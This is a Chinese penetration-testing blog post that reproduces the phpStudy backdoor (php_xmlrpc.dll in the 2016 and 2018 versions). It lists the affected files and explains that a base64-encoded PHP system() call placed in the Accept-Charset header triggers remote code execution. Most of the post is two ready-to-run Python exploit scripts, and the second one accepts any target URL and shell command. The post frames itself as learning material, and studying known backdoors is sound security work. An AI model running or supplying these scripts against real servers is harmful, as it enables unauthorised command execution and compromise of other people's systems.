【渗透测试】phpstudy后门利用复现

目录

      • 一、漏洞描述
      • 二、漏洞影响版本
      • 三、漏洞RCE

一、漏洞描述

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer,多款软件一次性安装,无需配置即可直接安装使用,具有PHP环境调试和PHP开发功能,在国内有着近百万PHP语言学习者、开发者用户。2018年被爆出存在后门。

漏洞环境自行搭建。
本博客仅学习使用。

二、漏洞影响版本

phpStudy2016

php\php-5.2.17\ext\php_xmlrpc.dll

php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll

PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

三、漏洞RCE

【渗透测试】phpstudy后门利用复现_第1张图片
访问网站主页抓包,在数据包中添加字段,然后重放数据包即可触发漏洞

accept-charset:base64编码的系统命令

根据数据包编写脚本

# 1.0 版本
# 自己base64系统命令替换程序中的payload即可
import requests
import base64

# 攻击目标
target_url = "http://127.0.0.1"

# cmd = input("命令:")
# payload = base64.b64encode(b'cmd')
payload = base64.b64encode(b'system("whoami");')
# payload = "c3lzdGVtKCJ3aG9hbWkiKTs="

# 定制请求
headers = {"User-Agen": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.3",
            "Accept-Encoding": "gzip,deflate",
            "Accept-charset": payload,
            "Accept-Language": "zh-CN,zh;q=0.9",
            "Connection": "close"
            }
re = requests.request("GET", target_url, headers=headers, verify=False)

print(re.text)
# 2.0 版本
# python3 rce.py http://127.0.0.1 whoami
import requests
import base64
import sys

# 转义的方式
def EncodeData(data):
    data = base64.b64encode(data.encode("UTF-8"))
    return data

def rce(url, cmd):
    target_url = url
    payload = cmd
    headers = {
        "User-Agen": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.3",
        "Accept-Encoding": "gzip,deflate",
        "Accept-charset": payload,
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }
    result = requests.request("GET", target_url, headers=headers, verify=False)
    return result.text

def main():
    url = sys.argv[1]  # 获取第2个外部参数
    payload = sys.argv[2]  # 获取第3个外部参数  sys.argv[0]是默认是脚本名称
    # cmd = r"system('" + payload + r"')" 这种方式不可用
    cmd = "system('{}');".format(payload)
    print("已执行:", cmd)

    re = rce(url, EncodeData(cmd))
    print("执行结果:\n", re)


if __name__ == '__main__':
    main()

脚本没有做错误处理,只能简单验证漏洞存在
执行效果:
【渗透测试】phpstudy后门利用复现_第2张图片

by 久违
2021.11.1

你可能感兴趣的:(渗透测试,安全,网络安全,系统安全,web安全)